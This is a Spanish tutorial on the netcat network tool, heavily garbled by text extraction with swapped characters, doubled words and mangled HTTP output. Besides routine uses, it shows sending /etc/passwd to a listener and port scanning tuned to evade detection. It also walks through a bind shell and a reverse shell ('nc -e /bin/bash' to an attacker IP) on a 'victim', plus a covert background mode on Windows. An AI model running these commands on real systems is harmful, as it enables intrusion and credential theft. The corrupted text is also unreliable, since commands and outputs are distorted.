NETCAT
1. Descripción Netcat es una utilidad imprescindible para todo profesional de la seguridad. Es denominada la "navaja suiza de la seguridad de red" porque sirve para innumerables cosas.
Fue creada en 1995 por "El Hobbit" !obbitavian.org !obbitavian.org#. #. $a versi%n original fue desarrollada para sistemas &ni' ( $inu' pero )eld *ond +eldl,p!t.com +eldl,p!t.com## desarroll% la versi%n para )indo+s Nen 199. El c%digo f uente de ambas versiones est/ disponible.
No tiene interfaz gr/fica. 0e utiliza desde lneas de comandos. url2 netcat.sourceforge.net
2. Utilidades 1. 3!at. 4. Enviar Enviar ( reci recibir bir fic!er fic!eros. os. . Esca Escane near ar puer puerto tos. s. 6. 3aptur 3aptura a b/si b/sica ca de bann banners ers.. 5. 0erv 0ervid ido or )eb )eb.. 7. 3onsegui 3onseguirr una s!ell s!ell de forma directa directa o invers inversa#. a#.
2. 1. Chat En una de las m/quina ponemos el netcat en modo servidor8 a la escuc!a. En la otra8 lo ponemos en modo cliente.
0ervidor2
nc l p 5,,,
3liente2
nc :ip;servidor :ip;servidor< < :puerto;servido :puerto;servidor< r<
nc
Net3at
l
=ndica al netcat que debe actuar como un servidor8 es decir8 debe poner a la escuc!a un puerto Modo Modo Servidor #
p
=ndica el puerto puerto por por el que ponemos el servidor servidor a la escuc!a. 0i no se pone8 pone8 netcat netcat selecciona un puerto que est> libre de forma aleatoria. Es recomendable usar un puerto superior al 1,46.
3uando lanzamos el netcat en modo cliente8 este act?a como lo !ace un telnet. @e !ec!o8 se podra lanzar la m/quina cliente con un telnet telnet :ip;servidor< :puerto;servidor<#.
*odemos comprobar8 !aciendo un netstat8 como aparece un nuevo proceso escuc!ando por el puerto 5,,, por todas las interfaces ,.,.,.,25,,,#.
0i se quiere !acer la cone'i%n utilizando el protocolo &@* en vez de -3*8 se aAade tanto a cliente como a servidor el par/metro -u. Ejemplo2 nc l u p 5,,, BBC/quina 0ervidor nc u :ip;servidor< 5,,, BBC/quina 3liente *ara cerrar la cone'i%n entre el cliente ( el servidor !a( que pulsar 3trl D 3 en cualquiera de las consolas. er/s entonces que ambas se cortan. Esto se debe a que netcat en modo servidor tiene una limitaci%n que es que s%lo admite una cone'i%n al mismo tiempo. 0i se desea guardar la informaci%n de la conversaci%n mantenida8 bastar/ con utilizar el par/metro -o fichero. Este par/metro genera un log de las actividades del netcat en c%digo He'adecimal. Ejemplo2
0i luego editamos file$og vemos lo siguiente2
El smbolo indica @e la redG. El smbolo ! indica *ara la redG.
2. 2. Enviar " #eci$ir %icheros *ara pasar un fic!ero de un cliente al servidor8 !a( que !acer lo siguiente2 *onemos el servidor a la escuc!a2 nc l p 5,,, *asamos el fic!ero desde el cliente al servidor2 nc :ip;servidor< :puerto;servidor< BetcBpass+d tra forma de pasar el fic!ero desde el cliente2 cat BetcBpass+d I nc :ip;servidor< :puerto;servidor< 3on este proceso8 se mostrara el fic!ero de contraseAas en el servidor. 0i queremos que ese fic!ero se almacene8 en vez de ser mostrado8 deberamos lanzar el servidor as2 nc l p 5,,, < B!omeBloreta!urBprueba
J!ora tenemos en el servidor un fic!ero llamado prueba en B!omeBloreta!ur que contiene las contraseAas de la m/quina cliente su fic!ero BetcBpass+d#.
-ambi>n se puede pasar el fic!ero del servidor al cliente de la siguiente forma2 cat BetcBpass+d I nc l p 5,,,
BBC/quina 0ervidora
nc local!ost 5,,,
BBC/quina 3liente que recibe el arc!ivo
2. &. Escanear 'uertos *ara escanear los puertos de una m/quina !a( que ejecutar2 nc z v + :m/quina< :rango;puertos<
z
Escanear puertos
v
Codo verbose. 0i s%lo se pone una v8 se mostrar/n los puertos abiertos de la m/quina escaneada. 0i se pone -vv8 se mostrar/n todos los puertos escaneados8 indicando para cada uno si est/ abierto o cerrado
:rango;puertos< 0e debe introducir de qu> puerto a qu> puerto se quiere escanear Ejemplo2 11,46. 1 ( 1,46 tambi>n incluidos en el escaneo# -ambi>n se puede poner s%lo los puertos que se quiere escanear. Ejemplo2 nc z v local!ost 45 41 , BBEscanea s%lo los puertos 458 41 ( , + :segundos<
Especifica un tiempo para terminar. 3on esta opci%n le especificas un tiempo determinado para realizar cone'iones
0i quisieramos enviar los resultados del escaneo a un fic!ero deberamos !acerlo as2 nc z vv :ip;maquina< 15,,, 2! fic!ero 0e utiliza el 2! porque la salida del escaneo no es la est/ndar8 sino que es la salida de errores 0-@EKK#.
0i no se introduce ning?n par/metro m/s8 se escanean los puertos -3*. 0i lo que se quiere es escanear los puertos &@*8 !abr/ que aAadir el par/metro u.
0i se desea !acer un escaneo de puertos paranoico8 es decir8 que va(a comprobando cada puerto cada muc!o tiempo para que no seamos detectados8 se puede incluir el par/metro -i. 3on este par/metro podemos indicar cada cuantos segundos debe netcat escanear un puerto. Ejemplo en el que se escanear/ cada 1, segundos un puerto2 nc z vv i 1, local!ost 11,46
0i adem/s le aAadimos el par/metro -r 8 le estaremos indicando que !aga un escaneo de puertos aleatorio genera un patr%n ramdom de puertos locales o remotos#. Esto es mu( ?til para evitar patrones l%gicos de scanning.
0i queremos evitar mostrar la =* fuente del 0canning deberemos utilizar gate+a(s par/metro -( (ate)a"!#. Esta es una de las opciones m/s interesantes de netcat8 que permite utilizar Kouters como "puentes" de cone'i%n.
2. *. Captura $+sica de $anners J veces es interesante observar los mensajes de bienvenida de diferentes servicios que corren en m/quinas para obtener datos relevantes sobre ellas que 0istema perativo utiliza8 que tipo de servidor es8...#.
*ara ello8 utilizaremos netcat de la siguiente forma !ace el mismo papel que un telnet#2 nc :ip;m/quina< :puerto;servicio< Ejemplo2
loretahur:~# nc pc-web.dominio.com 80
ECHO / HTTP:1.0 HTTP/1.1 400 Bad Request Date: Mon, 02 Au 1!!! 0!:2":2" MT $er%er: A&a'he/1.".2( )*n+- De+an */+nu onne't+on: 'lose ontentT3&e: tet/htl5 'harset6+so778!1 9D;T
?//>=T@//DTD HTM 2.0//=? 9HTM9H=AD 9T>T=400 Bad Request9/T>T= ... 9/B;D<9/HTM
loretahur:~# n' n%% 1"0.2(.100."C 70 )*;E- F1"0.2(.100."CG 70 )- o&en
GET / HTTP:1.0 HTTP/1.1 400 Bad Request $er%er: Microsoft-II/!.0 Date: Mon, 02 Au 2004 0!:80:2C MT ontentT3&e: tet/htl ontententh: 7C 9htl9head9t+tle=rror9/t+tle9/head9od3The &araeter +s +n'orre't. 9/od39/htl sent 1(, r'%d 224
El par/metro n fuerza al netcat a aceptar s%lo direcciones =* num>ricas ( a no !acer uso del @N0 para nada. Netcat tiene la facultad de resolver nombres de dominio mediante un @N0 $ooLup8 con esta opci%n le especificamos que no lo !aga8 ( use solamente direcciones =*.
2. ,. Servidor e$ 0i lanzas en una consola el siguiente comando8 servir/s de forma puntual un solo fic!ero !tml2 nc Ml Mp , :NombreJrc!ivo.!tml -endr/s un servidor +eb en tu m/quina que servir/ la p/gina especificada NombreJrc!ivo.!tml# a la pr%'ima cone'i%n que se !aga a tu =* por el puerto ,. Es decir8 si despu>s de lanzar el comando8 abres una ventana de tu e'plorador ( pones la siguiente url2 local!ost2,NombreJrc!ivo.!tml8 est/ se te cargar/ a partir del netcat. El inconveniente de esto es que cada vez que se desconecte el cliente8 !abr/ que lanzar otro nuevo netcat.
2. . /$tener una shell directa0ente *ara lograr una s!ell directa8 el equipo vcti0a tiene que ejecutar el siguiente comando2 nc l e BbinBs! p 7,,, $o que !acemos aqu es poner en la vctima un servidor a la escuc!a por el puerto 7,,,8 sirviendo para alguna cone'i%n remota el programa BbinBs!8 que es la s!ell de $inu'. El par/metro e sirve para llamar a ejecuci%n un programa. Ejemplos2 e BbinBbas! < Ejecutar la s!ell de $inu' e cmd.e'e < Ejecutar el int>rprete de comandos de )indo+s
El par/metro c !ace lo mismo que e pero la diferencia entre ambos es que con c se ejecuta BbinBs! ( con e se ejecuta Bbin &na vez !ec!o esto en la vctima8 nos queda conectar con ella8 desde la 0+3uina atacante. *ara ello simplemente indicamos =* ( puerto lanzamos el netcat en 0odo cliente#2 nc vv :=*< :*&EK-<
vv
Codo erbose. 0irve para dar m/s datos detallados de la cone'i%n
:=*<
@irecci%n =* de la vctima
:*&EK-<
*uerto por el que est/ escuc!ando el servidor
J!ora (a se puede ejecutar en la m/quina atacante cualquier comando porque cuenta con una s!ell en la vctima.
2. 4. /$tener una shell inversa 3on este m>todo8 es la vctima quien se conecta a la m/quina atacante. En la 0+3uina atacante lanzamos el siguiente comando para que se ponga a la escuc!a por el puerto 7,,,2 nc vv l p 7,,, En la 0+3uina vcti0a se pone el siguiente comando2 nc e BbinBbas! :ip;atacante< 7,,, *or tanto8 es la vctima la que sirve la s!ell ( se conecta al atacante8 que estar/ escuc!ando por el puerto 7,,, a la espera. Esto tiene las siguiente ventaja2si la vctima tiene una =* din/mica la =*
cambia cada ' tiempo#8 la m/quina atacante no sabra a que direcci%n debe conectarse. @e esta forma8 si es la vctima la que se conecta al atacante8 no importa que >sta tenga diferente =*.
&. 'ar+0etros para la versión de indo)s
d
*ermite a netcat ejecutarse en Modo encu$ierto. Esta opci%n desvincula al netcat de la consola8 !aci>ndolo trabajar en segundo plano
$
3uando la cone'i%n entre el cliente ( el servidor se termina8 el servidor es restaurado con el mismo comando que estaba ejecutando anteriormente
*. Cr"ptcat Esta !erramienta es la versi%n del netcat con la encriptaci%n t+ofis! de Oruce 0c!neier# !abilitada para la transmisi%n de los datos. 0e utiliza como el netcat pero se debe introducir una contraseAa entre cliente ( servidor mediante el par/metro L. Ejemplo2 C/quina servidora2 cr(ptcat L loreta!ur l p 5,,, C/quina cliente2 cr(ptcat L loreta!ur :ip;servidor< 5,,,
Manual escrito por Loretahur ([email protected])